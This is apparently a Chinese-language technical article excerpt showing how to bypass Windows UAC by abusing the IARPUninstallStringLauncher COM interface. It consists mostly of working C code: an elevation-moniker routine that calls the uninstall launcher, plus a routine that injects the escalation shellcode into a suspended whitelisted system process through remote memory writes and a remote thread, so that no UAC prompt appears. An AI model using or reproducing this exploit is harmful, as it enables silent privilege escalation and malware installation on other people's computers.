巧用COM接口IARPUninstallStringLauncher绕过UAC
http://www.freebuf.com/articles/system/116611.html
编码实现绕过UAC的功能
核心提权代码
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
int _tmain(int argc, _TCHAR* argv[])
{
CLSID clsid;
IID iid;
LPVOID ppv = NULL;
HRESULT hr;
PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait pfn_LaunchUninstallStringAndWait = NULL;
PFN_IARPUninstallStringLauncher_Release pfn_IARPUninstallStringLauncher_Release = NULL;
if (IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||
IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))
return 0;
CoInitialize(NULL);
hr = CoCreateInstanceAsAdmin(NULL, clsid, iid, &ppv);
if (SUCCEEDED(hr))
{
pfn_LaunchUninstallStringAndWait = (PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait)(*(DWORD*)(*(DWORD*)ppv + 12));
pfn_IARPUninstallStringLauncher_Release = (PFN_IARPUninstallStringLauncher_Release)(*(DWORD*)(*(DWORD*)ppv + 8));
if (pfn_LaunchUninstallStringAndWait && pfn_IARPUninstallStringLauncher_Release)
{
pfn_LaunchUninstallStringAndWait((LPVOID*)ppv, 0, L"{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}", 0, NULL);
pfn_IARPUninstallStringLauncher_Release((LPVOID*)ppv);
}
}
CoUninitialize();
return 0;
}
为什么呢?因为执行该提权代码宿主的身份是不可信的,所以我们需要想办法让这段代码在windows的白名单程序中运行.所以很直接的会想到将这段代码注入到诸如计算器,记事本,桌面等等程序中去执行,这样就不会弹出UAC框了。
将提权代码转换为shellcode并注入到白名单程序中执行
关键代码:
BOOL BypassUacWithInject(LPTSTR lpExe)
{
HMODULE hModule = GetModuleHandle(NULL);
TCHAR cAppName[MAX_PATH] = {0};
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpNewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = g_ByPassUac;
AddUninstallItem(lpExe);
GetSystemDirectory(cAppName, MAX_PATH);
_tcscat(cAppName, InjectTarget);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,
NULL,
SizeOfBypassUac,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpNewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, (LPCVOID)lpMalwareBaseAddr, SizeOfBypassUac, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpNewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
DeleteUninstallItem();
return bRet;
}